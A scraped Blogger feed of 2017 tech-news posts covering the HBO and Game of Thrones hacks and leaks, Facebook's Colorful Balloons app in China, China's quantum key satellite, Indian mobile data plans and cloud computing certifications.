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<span style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Looks like 2017 is a bad year for HBO. Not that it didn’t have leaks in the previous seasons of Game of Thrones but GoT Season 7 seems to be jinxed from the word go. First, we had hackers hacking into HBO servers and stealing 1.35TB of data including episode clips, emails, and internal memos. Even as HBO was dealing with the hacking mess, the news of Star India App Hotstar App employees leaking Game of Thrones Episode 4 “Spoils of War” surfaced,</span></div>
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<a href="https://www.techworm.net/2017/08/4-people-arrested-leaking-game-thrones-season-7-episode-4-spoils-war.html" rel="noopener noreferrer" style="border: 0px; color: #487be4; font-family: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: all 0.4s ease-in-out; vertical-align: baseline;" target="_blank">The employees apparently had privileged access to the GoT S07E04 “Spoils of War” and were able to leak a low res buggy version of the episode two days before its telecast.</a> The airing of next episode i.e. Game of Thrones S06E05 “Eastwatch” went rather smoothly as the original server hackers leaked the episode script but the episode itself was not leaked.</div>
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How comes the bombshell. HBO Spain has accidentally have leaked the upcoming Game of <strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Thrones Season 7 Episode 6 “Death Is the Enemy” full five days before it is supposed to be aired on Sunday 20th August. </strong>The accidental leak was enough for hackers to copy the article and spread it through torrent websites.</div>
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While we cannot give the links to the leaked GoT S07E06 “Death Is the Enemy,” Googling or keeping your eye on your social media network will give you the 6th episode link.</div>
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Game of Thrones Season 7 Episode 6 “Death Is the Enemy” Aired by Mistake</h2>
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The supposed leak came to light when users reported that episode was available to watch on HBO España’s website for a few hours as the screenshot posted above on Reddit shows. Many other individuals have also reported that the episode was also streaming on Twitch and YouTube before they got taken down. Since then, there have been no reports of the episode being available, either on the website or via a torrent. However, that has not stopped individuals from sharing smaller clips and screenshots of the episode that seem to confirm that the leaked episode was not a hoax. One such clip can be seen below.</div>
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https://twitter.com/jorywea/status/897641886294437890</div>
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Unfortunate Incident</h2>
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This leak in the latest addition to the long list of unfortunate incidents that have affected HBO recently. In July, there were reports that around 1.5 TB of content was stolen from the company. Since then, hackers have released episodes of different series including Ballers, Room 104, and Curb Your Enthusiasm, scripts of unaired Game of Thrones episodes and even personal information of actors working for HBO.</div>
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As we said earlier, 2017 certainly seems to be jinxed for HBO as its golden egg laying hen is being cut to pieces episode after episode.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-11600327211548852112017-08-14T20:52:00.003+05:302017-08-14T20:52:46.369+05:30"Colorful Balloon" APP is Secretly being Tested by Facebook in China. <div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-family: Times, Times New Roman, serif;">In May, Facebook quietly launched a photo-sharing app called Colorful Balloons in China, where the social networking site is banned, according to a report in <span style="box-sizing: border-box; font-size: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: inherit; vertical-align: inherit;">The New York Times</span>.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtH-i4soAaGL1ZHBxSIOfI_Wkegl0Ao_xX-3reJRakeiYEJFE58mQ2v84h-VTATduLFTvEjdvAUhmE_8AejuyMJ3NFbWb2H-qnng8VI2whJsNHdWWULhYNxu2Kv93dQzBtT9MH0sJ0H9pT/s1600/12FACEBOOKCHINA5-master675.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt=""Colorful Balloon" APP is Secretly being Tested by Facebook in China. " border="0" data-original-height="576" data-original-width="675" height="546" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtH-i4soAaGL1ZHBxSIOfI_Wkegl0Ao_xX-3reJRakeiYEJFE58mQ2v84h-VTATduLFTvEjdvAUhmE_8AejuyMJ3NFbWb2H-qnng8VI2whJsNHdWWULhYNxu2Kv93dQzBtT9MH0sJ0H9pT/s640/12FACEBOOKCHINA5-master675.jpg" title=""Colorful Balloon" APP is Secretly being Tested by Facebook in China. " width="640" /></a></div>
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<span style="font-family: Times, Times New Roman, serif;">Colorful Balloons appears to mimic the look and feel of Facebook’s Moments app, which allows users to share photos with friends and family members. Rather than interfacing with Facebook, the app works with the country’s biggest social network, WeChat. Facebook released the app through a local company called Youge Internet Technology, without any hint of branding from the social media giant, and appears to have taken efforts to ensure that it doesn’t spread widely.</span></div>
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<span style="font-family: Times, Times New Roman, serif;">China banned Facebook in July 2009, and partially blocked WhatsApp in July. Since then, CEO of Facebook Mark Zuckerberg has been working to find a way to get the social network reintroduced into the country, meeting with governmental officials and reportedly working on software for the country that helps suppress posts from appearing in a specific geographic area. The <span style="box-sizing: border-box; font-size: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: inherit; vertical-align: inherit;">Times</span> describes this quiet roll-out as “unprecedented,” and that it demonstrates the effort that tech companies will undertake to try and gain a foothold into China and its population of 700 million internet users. It’s not clear if the Chinese government is aware of Facebook’s efforts: the Cyberspace Administration of China didn’t respond to a request for comment from the <span style="box-sizing: border-box; font-size: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: inherit; vertical-align: inherit;">Times</span>.</span></div>
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<span style="font-family: Times, Times New Roman, serif;">The roll-out doesn’t appear to be an effort to launch a social network under the radar. The <span style="box-sizing: border-box; font-size: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration: inherit; vertical-align: inherit;">Times</span> describes the initiative as a way for Facebook to “see how Chinese users digitally share information with their friends or interact with their favorite social media platforms.” Facebook said that it is “spending time understanding and learning more about the country in different ways. Our focus right now is on helping Chinese businesses and developers expand to new markets outside China by using our ad platform.”</span></div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-73973426393411017512017-08-13T00:30:00.000+05:302017-08-13T00:30:17.751+05:30CHINA’S QUANTUM SATELLITE SENDS “HACK-PROOF” CODE FROM SPACE TO EARTH<div dir="ltr" style="text-align: left;" trbidi="on">
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China has sent an ‘Hack-proof’ code from a satellite to the Earth, marking the first time space-to-ground quantum key distribution technology.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCpx6CqzcrXElYaj7HAK4C2Q9i38j7BSUzaAbQuMRQgU8vdhlG1pG73TKAGtKcPY5yxc_lezrYXwB2GpnZvZcG6Et5Tg7Gpxdqipb5GssIjb4r3_vxYeInSnBUdnSb-aLoiQls5zM11Sz/s1600/china.jpg" imageanchor="1"><img alt="China has sent an ‘Hack-proof’ code from a satellite to the Earth, marking the first time space-to-ground quantum key distribution technology." border="0" data-original-height="191" data-original-width="265" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSCpx6CqzcrXElYaj7HAK4C2Q9i38j7BSUzaAbQuMRQgU8vdhlG1pG73TKAGtKcPY5yxc_lezrYXwB2GpnZvZcG6Et5Tg7Gpxdqipb5GssIjb4r3_vxYeInSnBUdnSb-aLoiQls5zM11Sz/s320/china.jpg" title="China has sent an ‘Hack-proof’ code from a satellite to the Earth, marking the first time space-to-ground quantum key distribution technology." width="320" /></a></div>
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<span style="background-color: white;"><span style="color: #333333; font-family: georgia;"><span style="font-size: 14px;">China has sent an “Hack-proof” code from a satellite to the Earth, marking the first time space-to-ground quantum key distribution technology has been realized, state media said on Thursday.</span></span></span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /></div>
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<span style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;">China launched the world’s first quantum satellite last August, to help establish “hack proof” communications, a development the Pentagon in the US called a “notable advance”.</span><span style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;">The official Xinhua news agency said the latest experiment was published in the journal Nature on Thursday, where reviewers called it a “milestone”.</span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><span style="background-color: white;"><span style="color: #333333; font-family: georgia;"><span style="font-size: 14px;">The satellite sent quantum keys to ground stations in China between 645 km and 1,200 km away at a transmission rate up to 20 orders of magnitude more efficient than an optical fiber, Xinhua cited Pan Jianwei, lead scientist on the experiment from the state-run Chinese Academy of Sciences, as saying.</span></span></span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><span style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;">“That, for instance, can meet the demand of making an absolute safe phone call or transmitting a large amount of bank data,” </span><span style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;">Any attempt to eavesdrop on the quantum channel would introduce detectable disturbances to the system, Pan said.</span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><span style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;">“Once intercepted or measured, the quantum state of the key will change, and the information being intercepted will self-destruct,” Xinhua said.</span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><span style="background-color: white;"><span style="color: #333333; font-family: georgia;"><span style="font-size: 14px;">The news agency said there were “enormous prospects” for applying this new generation of communications in defense and finance.</span></span></span><span style="background-color: white;"><span style="color: #333333; font-family: georgia;"><span style="font-size: 14px;">China still lags behind the United States and Russia in space technology, although President Xi Jinping has prioritized advancing its space programme, citing national security and defense.</span></span></span><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><br style="background-color: white; color: #333333; font-family: georgia; font-size: 14px;" /><span style="background-color: white;"><span style="color: #333333; font-family: georgia;"><span style="font-size: 14px;">China insists its space programme is for peaceful purposes, but the US Defense Department has highlighted its increasing space capabilities, saying it was pursuing activities aimed at preventing adversaries from using space-based assets in a crisis.</span></span></span></div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-75867191393056669632017-08-03T21:57:00.002+05:302017-08-03T21:57:52.718+05:30Top 5 Internet Plans<div dir="ltr" style="text-align: left;" trbidi="on">
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Top 5 Internet Plans (Data Packs) for Mobile Users In India</h2>
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You want to send an important email and you realize that your data plan is finished. Does it happen on a regular basis and you miss out on important work? Well then, it’s high time that you should switch to unlimited internet plans which are the USP of most of the mobile operators and it’s not about the Internet anymore the new plans will offer you more. </div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivXy6JVHHPDHwBEA246KXBwkhI6-xt3j46uMcBKzDmZFk7N_3rSjM-dwVBoY6rsUHAQM37VESjfn50VtFnMO1IUhw3swJz25DTdKpsMoyzBNZSjToeqi4SW5eYxrbW5GDOE0D3Zj-yeDzV/s1600/data+packs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Top 5 Internet Plans" border="0" data-original-height="267" data-original-width="438" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivXy6JVHHPDHwBEA246KXBwkhI6-xt3j46uMcBKzDmZFk7N_3rSjM-dwVBoY6rsUHAQM37VESjfn50VtFnMO1IUhw3swJz25DTdKpsMoyzBNZSjToeqi4SW5eYxrbW5GDOE0D3Zj-yeDzV/s1600/data+packs.jpg" title="Top 5 Internet Plans" /></a></div>
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This article will provide you with the top 5 internet plans which will make you click the download button more than ever. So, let’s begin:</div>
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Airtel Internet Plans</h2>
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•<span style="white-space: pre;"> </span><span style="font-weight: normal;">Airtel 149 4G Data Pack </span></h3>
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This is the first offer in the list, provided by Airtel. <span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 107%; mso-ansi-language: EN-IN; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://www.airtel.in/4g/index#!plans-and-devices/infinity/plans"><span class="InternetLink">Select this pack</span></a></span> for ₹ 149 and avail 2 GB, unlimited Airtel to Airtel calls for a period of 28 days.</div>
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•<span style="white-space: pre;"> </span>Unlimited Airtel to Airtel calls are valid for both Local as well as STD calls.</div>
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•<span style="white-space: pre;"> </span>You will also get the added benefit of free incoming calls while on roaming.</div>
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•<span style="white-space: pre;"> </span>4G Data (for 4G handset only): 2 GB, for 3G handsets users the data is 2GB, if you don’t have 3G/4G handsets then you will get 50 MB. </div>
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•<span style="white-space: pre;"> </span>Post FUP usage, you’ll have to pay extra @0.04/10KB. Airtel 149 Plan only offers On-net free calling which means you have to pay to call other operators. </div>
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•<span style="white-space: pre;"> </span><span style="font-weight: normal;">28 GB Combo 3G / 4G Data Pack </span></h3>
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Coming to the second offer in the list by Airtel. This pack is available for ₹ 349 and you can enjoy 28 GB of 3G/4G data for 28 days. </div>
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•<span style="white-space: pre;"> </span>Unlimited all calls (Local, STD and Roaming) to all operators such as Idea, Vodafone, Reliance Jio, etc. </div>
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•<span style="white-space: pre;"> </span>Daily 1 GB data for both 3G / 4G handsets, other handsets you will get 50MB data. The FUP is 500 MB during day and 500 MB during night (3am – 5am).</div>
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Moreover, while recharging your account/number, you can try <span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 107%; mso-ansi-language: EN-IN; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://zoutons.com/stores/airtel-coupons"><span class="InternetLink">airtel offers</span></a></span> and can even earn up to ₹ 50 cash back on your recharge. So, grab the limited offer as soon as possible. </div>
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<h2 style="text-align: left;">
Jio Internet Plan </h2>
<h3 style="text-align: left;">
•<span style="white-space: pre;"> </span><span style="font-weight: normal;">Jio 303 plan </span></h3>
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Jio, as you all know has been very popular with its internet plans and gave other mobile operators a run for their money. <span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 107%; mso-ansi-language: EN-IN; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://www.jio.com/en-in/4g-plans"><span class="InternetLink">This plan from Jio</span></a></span> is for ₹ 303 and you will get UNLIMITED data which will be valid for 28 days. </div>
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•<span style="white-space: pre;"> </span>Unlimited calls (Jio to Jio, Local, STD, and Roaming and to all operators).</div>
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•<span style="white-space: pre;"> </span> You will get unlimited data for 28 days. The data which is available at 3G / 4G speed is only 28 GB. </div>
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•<span style="white-space: pre;"> </span>The FUP limit is 1GB/day, the speed would be 128kbps after you have used 28 GB data or have finished your daily quota of 1 GB per day. </div>
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Moving on to the other popular mobile operator which is… Vodafone.</div>
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Vodafone Internet Plans</h2>
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•<span style="white-space: pre;"> </span><span style="font-weight: normal;">Vodafone 148 plan </span></h3>
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This first offer from Vodafone starts from ₹ 148 and enjoy unlimited Vodafone to Vodafone calls both Local and STD for 28 days. </div>
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•<span style="white-space: pre;"> </span>Unlimited Local and STD Vodafone to Vodafone calls and Vodafone to another operator will cost you @ 1paise per second. </div>
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•<span style="white-space: pre;"> </span>You will get 2 GB 4G data (4G Handset + 4G Sim), 300 MB only for 4G Handset and 50 MB if you don’t have 3G / 4G compatible handset. </div>
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•<span style="white-space: pre;"> </span>Another benefit of this plan is that you will get all Local and National SMS @ 25 paise/SMS for 28 days. </div>
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•<span style="white-space: pre;"> </span><span style="font-weight: normal;">Vodafone 348 plan </span></h3>
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This is the most popular plan among youth and Vodafone has nailed it with this plan. <span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 107%; mso-ansi-language: EN-IN; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://www.mobikwik.com/vodafone-online-recharge/Delhi-NCR/vodafone-Delhi-NCR-local-plans-Rs-348.0"><span class="InternetLink">The second plan in this list will cost you ₹ 348</span></a></span>. You will enjoy UNLIMITED calling to all the operators. The plan is valid for 28 days. </div>
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•<span style="white-space: pre;"> </span>You get Unlimited Local, STD Vodafone to Vodafone and plus unlimited calls to other operators as well which include (Airtel, Jio, Idea, etc). Customers using more than 300 minutes per day will be charged @ 30p per minute for both Local and STD.</div>
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•<span style="white-space: pre;"> </span>You will get 1 GB per day 4G / 3G data. Customers who have purchased new 4G handsets will receive additional 9 GB 4G data. It is same 50 MB if your handset doesn’t support 3G or 4G. </div>
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How to avail these packs? </h2>
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1.<span style="white-space: pre;"> </span>Liked the above offers? You can recharge these plans via your nearest recharge shop and get your recharge done successfully.</div>
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2.<span style="white-space: pre;"> </span>You can even recharge your number through your desired e-wallet account (Paytm, Mobikwik, FreeCharge) and can also apply the available offers on the e-wallets. </div>
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3.<span style="white-space: pre;"> </span>You even visit their official mobile apps such as MyAirtel app in case of Airtel or can directly login via their official websites. </div>
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How to activate your plans with E-wallets? </h2>
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You can recharge all these offers via e-wallets. If you don’t know how to recharge from e-wallets then follow the steps which are given below:</div>
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•<span style="white-space: pre;"> </span>Login to your Paytm/ FreeCharge/ Mobikwik account.</div>
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•<span style="white-space: pre;"> </span>Enter your Mobile Number. </div>
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•<span style="white-space: pre;"> </span>Choose the Vodafone ₹ 348 plan or Airtel 28 GB Combo 3G / 4G Data Pack which you want to activate. Browse for more offers and choose your state as the plan varies from circle to circle. </div>
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•<span style="white-space: pre;"> </span>Apply <b>promo code</b>, if any and click on proceed. </div>
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•<span style="white-space: pre;"> </span>Complete the payments via the given methods. </div>
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Final Say:</h2>
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Every mobile operator is giving a tough competition to each other as you can see from the above plans. All the above-mentioned internet plans are best and there is not much difference in them. You can choose the plan which fits your requirements. Liked the article? Feel free to share and which plan works best for you? Mention in the comment section. </div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-54229597351158208312017-08-03T21:39:00.002+05:302017-08-03T21:39:43.119+05:30Entire ‘Game Of Thrones Season 7’ Leaked online? HBO Confirms It Has Been hacked<div dir="ltr" style="text-align: left;" trbidi="on">
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HBO Hacked, Hackers Leak The Entire Script of Game of Thrones Season 7. Hackers say they have stolen 1.5TB Data From HBO including GoT Season 7 script</h2>
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Your favorite TV show has been hacked and leaked. Yes, hackers today leaked the Game of Thrones Season 7 episodes. In what could be the biggest scandal hitting Hollywood after the infamous Sony Pictures data breach of 2014, HBO has confirmed that unknown hackers had successfully hacked into its servers and stolen vital files pertaining to scripts of its various TV shows including GoT Season 7.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwtjCj7FOtEKHkztIlTArr05wnaxQGJKuhz-cdxw3nJbAUCBnIeUDo8p8-ChJlQ2F3cn871SpU1ZWHbL1zW3Rc_g77QEGqBIus64vjjov3lcfEQ93BmF1Jak-ObayaqoNPmiZ94PjtVzAv/s1600/got.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Entire ‘Game Of Thrones Season 7’ Leaked online? HBO Confirms It Has Been hacked" border="0" data-original-height="325" data-original-width="650" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwtjCj7FOtEKHkztIlTArr05wnaxQGJKuhz-cdxw3nJbAUCBnIeUDo8p8-ChJlQ2F3cn871SpU1ZWHbL1zW3Rc_g77QEGqBIus64vjjov3lcfEQ93BmF1Jak-ObayaqoNPmiZ94PjtVzAv/s1600/got.jpg" title="Entire ‘Game Of Thrones Season 7’ Leaked online? HBO Confirms It Has Been hacked" /></a></div>
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The hacker then sent an email to the press informing that they have been successful in stealing about 1.5 terabytes of data from HBO servers. On Monday, the top cable service company in US and many parts of the world confirmed the hack, although it is not saying yet what information, or how much, has been taken.</div>
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HBO in a statement issued just minutes ago said, “HBO recently experienced a cyber incident, which resulted in the compromise of proprietary information. We immediately began investigating the incident and are working with law enforcement and outside cyber security firms. Data protection is a top priority at HBO, and we take seriously our responsibility to protect the data we hold.”</div>
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The hackers managed to lay their hands on the top HBO serial, Game of Thrones Season 7 as well as upcoming episodes from multiple series—including Ballers and Room 104. The hackers have promised to release all the stolen material in public domain soon.</div>
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The hacker’s e-mail read as follows:</div>
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<blockquote class="tr_bq">
Hi to all mankind. The greatest leak of cyber space era is happening. What’s its name? Oh I forget to tell. Its HBO and Game of Thrones……!!!!!! You are lucky to be the first pioneers to witness and download the leak. Enjoy it & spread the words. Whoever spreads well, we will have an interview with him. . . HBO is falling.</blockquote>
Most websites dismissed the email as a prank. However, when the upcoming episode of Game of Thrones season 7 was leaked online, it seemed that hackers had indeed access to the HBO servers. The hackers email also contained email id and telephone number of HBO Senior Vice President of Corporate Communications Jeff Cusson’s office.<br />
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The hackers used Cusson email id to open a Twitter account (now suspended) and spread the information about the Game of Thrones leak.<br />
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The GoT leaks confirm that HBO severely lacks appropriate cyber defense mechanism as this hack happened despite HBO's decision of not sending any screener versions to any members of press. In fact, they had asked the GoT cast to take extra security measures like enabling 2FA for their email accounts as well as iCloud accounts.<br />
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This is a developing story and we will keep you updated.<br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-52025712927741486512017-07-15T19:43:00.000+05:302017-07-15T19:43:10.232+05:30Top 10 Cloud Computing Certifications today.<div dir="ltr" style="text-align: left;" trbidi="on">
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Best cloud computing Certifications:</h3>
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Cloud computing is a new form of Internet-based computing that provides shared computer processing resources and data to computers and other devices on demand. It is a model for enabling ubiquitous, on-demand access to a shared pool of configurable computing resources (e.g., computer networks, servers, storage, applications and services), which can be rapidly provisioned and released with minimal management effort. Basically, Cloud computing allows the users and enterprises with various capabilities to store and process their data in either privately owned cloud, or on a third-party server in order to make data accessing mechanisms much more easy and reliable. Data centers that may be located far from the user–ranging in distance from across a city to across the world. Cloud computing relies on sharing of resources to achieve coherence and economy of scale, similar to a utility (like the electricity grid) over an electricity network.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6qYvtAKcgIdb9Og2TrBjZ214TsnKHt0_4Hczbmkdj39unH9SFQcIq3ujTyJZDiRX-8sAoMlhnzW2oIOTiJ_jzRLaJW6z6qvmbdHkcwOvlSoR2adzULJcxiF-MjdYaHYHM95LrzEIfWLPE/s1600/cover-cloud-computing-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Top 10 Cloud Computing Certifications today." border="0" data-original-height="320" data-original-width="754" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6qYvtAKcgIdb9Og2TrBjZ214TsnKHt0_4Hczbmkdj39unH9SFQcIq3ujTyJZDiRX-8sAoMlhnzW2oIOTiJ_jzRLaJW6z6qvmbdHkcwOvlSoR2adzULJcxiF-MjdYaHYHM95LrzEIfWLPE/s640/cover-cloud-computing-02.jpg" title="Top 10 Cloud Computing Certifications today." width="640" /></a></div>
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1. AWS Certified Solutions Architect.</h4>
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<span style="font-weight: normal;">Amazon Web Services Certifications recognize IT professionals that possess the skills and technical knowledge necessary for designing, deploying, and operating applications and infrastructure on AWS. There are associate and professional level certifications aimed at architects, developers, and operations professionals, as well as specialty certs in big data and advanced networking. The AWS Certified Solutions Architect – Associate requires one or more years of hands-on experience designing with AWS, while the AWS Certified Solutions Architect – Professional builds on that cert with two years of hands-on experience.</span></div>
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Organization: Amazon</h4>
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<span style="font-weight: normal;">How to prepare: Amazon offers study materials, practice exams and introductory, advanced and specialized courses and training on its website.</span></h4>
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2.Certificate of Cloud Security Knowledge</h4>
<h4>
<span style="font-weight: normal;">The mother of all cloud computing security certifications, the Certificate of Cloud Security Knowledge certification is vendor-neutral and certifies competency in key cloud security areas. The test is based on the Cloud Security Alliance’s “Security Guidance for Critical Areas of Focus in Cloud Computing v3” and the ENISA’s “Cloud Computing Risk Assessment.”</span></h4>
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<div>
<b>Organization: Cloud Security Alliance</b></div>
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How to prepare: The best way to prepare is to study the CSA’s Security Guidance for Critical Areas of Focus in Cloud Computing v3, and the ENISA report “Cloud Computing Risks Assessment” (linked above).</div>
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<h4 style="text-align: left;">
3.Certified System Administrator in Red Hat Open Stack </h4>
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<span style="font-weight: normal;">Red Hat’s certification for System Administrators in Red Hat Open-stack measures professionals’ ability to design, build, deploy and manage private clouds based on the Red Hat Open-stack platform. IT pros with this certification can install and configure Red Hat Open-stack, manage users and projects, and manage storage using Swift and Cinder.</span></h4>
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Organization: Red Hat</h4>
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<span style="font-weight: normal;">How to prepare: Red Hat says the best way to prepare for the exam is hands-on, real-world experience. The exam is also a live, real-world test of skills and competency, requiring candidates to perform tasks on a live system.</span></h4>
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4.Cloud Certified Professional</h4>
<h4>
<span style="font-weight: normal;">CloudSchool.com offers a number of vendor-neutral cloud certifications, each based on a one-day course module and aimed at competency in specific areas of cloud computing. There are certificates for Cloud Architects, Cloud Technology Professionals, Cloud Governance, and Cloud Security, among others.</span></h4>
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Organization: CloudSchool.com</h4>
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<span style="font-weight: normal;">How to prepare: Cloud School offers self-study kits as well as on-site and remote workshops and study sessions and instructor-led workshops to help prepare applicants for the exams.</span></h4>
<h4>
5.Cloud Credential Council</h4>
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<span style="font-weight: normal;">The Cloud Credential Council (CCC) is an international body that drives standards training and certification for cloud computing pros. The CCC is independent and vendor-neutral, and members come from the public sector and academic institutions, cloud providers, cloud consumers, cloud brokers, professional associations and international certification bodies from across the world. The certifications are geared toward cloud consumers, cloud vendors or cloud solutions and services providers who want to improve their skills in defining, choosing, building, operating and managing cloud services. Currently, CCC offers one Cloud Technology Associate certification and five Professional Level cloud certifications, ranging from the Professional Cloud Administrator to the Professional Cloud Solutions Architect.</span></h4>
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Organization: Cloud Credential Council</h4>
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<span style="font-weight: normal;">How to prepare: The Cloud Credential Council offers courses and preparation material on its website.</span></h4>
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6.Cloud Genius</h4>
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<span style="font-weight: normal;">Cloud Genius offers certifications in Cloud Technologies, Cloud DevOps, and Cloud Architecture and Design. The bootcamp-based program is heavily focused on hands-on experiential learning. The coursework requires twice-weekly on-campus attendance, as well as team collaboration on real-life projects. The program also offers a solid foundation in cloud technologies, modern devops practices and some basic programming in Ruby and Chef.</span></h4>
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Organization: Cloud Genius</h4>
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<span style="font-weight: normal;">How to prepare: Each certificate requires, at minimum, 24 classroom hours (3 hours, twice a week for four weeks). In addition, the program directors suggest devoting additional time to view video lectures, working on group projects and practicing materials you've learned.</span></h4>
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7.Cloud Institute Certifications</h4>
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<span style="font-weight: normal;">The Cloud Institute Certification program is based on the findings and recommendations of the National Institute of Standards and Technology (NIST) of the U.S. Department of Commerce, which is geared toward greater and faster cloud adoption in government and public service verticals. The program also includes a focus on security and privacy challenges. There are currently two online certification programs, Certified Cloud Architect and Certified Cloud Professional, and one open assessment available.</span></h4>
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Organization: Cloud Institute</h4>
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<span style="font-weight: normal;">How to prepare: Cloud institute advises certification candidates to use the publications offered by the NIST as a basis for study, and to use the free open exam to identify areas where more work is needed. The Institute also recommends candidates have working experience in enterprise cloud technology, SOA design or development, cloud-related services and application- and/or storage-centric services.</span></h4>
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8. CloudU</h4>
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<span style="font-weight: normal;">According to Rackspace, CloudU is a vendor-neutral curriculum designed for IT professionals and business leaders that covers and certifies knowledge of the fundamentals of cloud computing. CloudU content is available to any professional at any time, but if you want a formal recognition of your knowledge about cloud computing, you should complete the courses and requirements for a certificate.</span></h4>
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Organization: Rackspace</h4>
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<span style="font-weight: normal;">How to prepare: Study each CloudU lesson whitepaper, and then successfully complete each of 10 CloudU lesson quizzes based on the whitepaper’s content. Successfully complete a 50-question final exam drawn from materials covered in the 10 CloudU lessons.</span></h4>
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9. CompTIA Cloud Essentials</h4>
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<span style="font-weight: normal;">According to CompTIA, the Cloud Essentials certification covers the basic fundamentals of cloud computing and shows that individuals understand cloud computing from both a business and a technical perspective. In addition, the certification covers migration to the cloud and governance of cloud computing environments.</span></h4>
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Organization: Comp TIA</h4>
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<span style="font-weight: normal;">How to prepare: CompTIA offers study and training materials, and while it’s not required, CompTIA recommends that individuals taking the exam have at least six months experience working in an IT services environment.</span></h4>
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10. Exin Cloud Computing Foundation</h4>
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<span style="font-weight: normal;">Exin offers two certification levels, Cloud Computing Foundation and Cloud Technologies Advanced. The programs cover the main cloud computing concepts as well as what's involved in planning, procurement and management. The certification is geared toward devops professionals responsible for making the business case for cloud solutions, evaluating vendors and systems and then integrating them with legacy technologies.</span></h4>
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Organization: Exin</h4>
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<span style="font-weight: normal;">How to prepare: Exin offers exam preparation guides and sample exams as well as ebooks covering these concepts. These materials are available on Exin’s website.</span></h4>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-79690280359777406362017-07-14T09:59:00.000+05:302017-07-14T09:59:49.981+05:30Here is how you can boost or increase your internet speed up to 20%<div dir="ltr" style="text-align: left;" trbidi="on">
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Want to boost or increase your internet speed up to 20%? Here’s how you can do it</h3>
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Whether it is checking or sending emails, uploading or downloading files and images, watching videos, etc., it is very important to have a fast and blazing internet speed for a stress free experience. Even home, workplace, libraries, schools, airports, hotels and some restaurants have become internet friendly these days. As Internet has now become our preferred medium of everyday communication and the medium of the future, it can be quite frustrating if one is stuck with slow and sluggish internet speed.<br />
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To help you out in such a scenario, we provide three simple techniques that will assist in boosting or increasing your internet speed.<br />
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<h4 style="text-align: left;">
Method 1: – Restrict Reservable Bandwidth</h4>
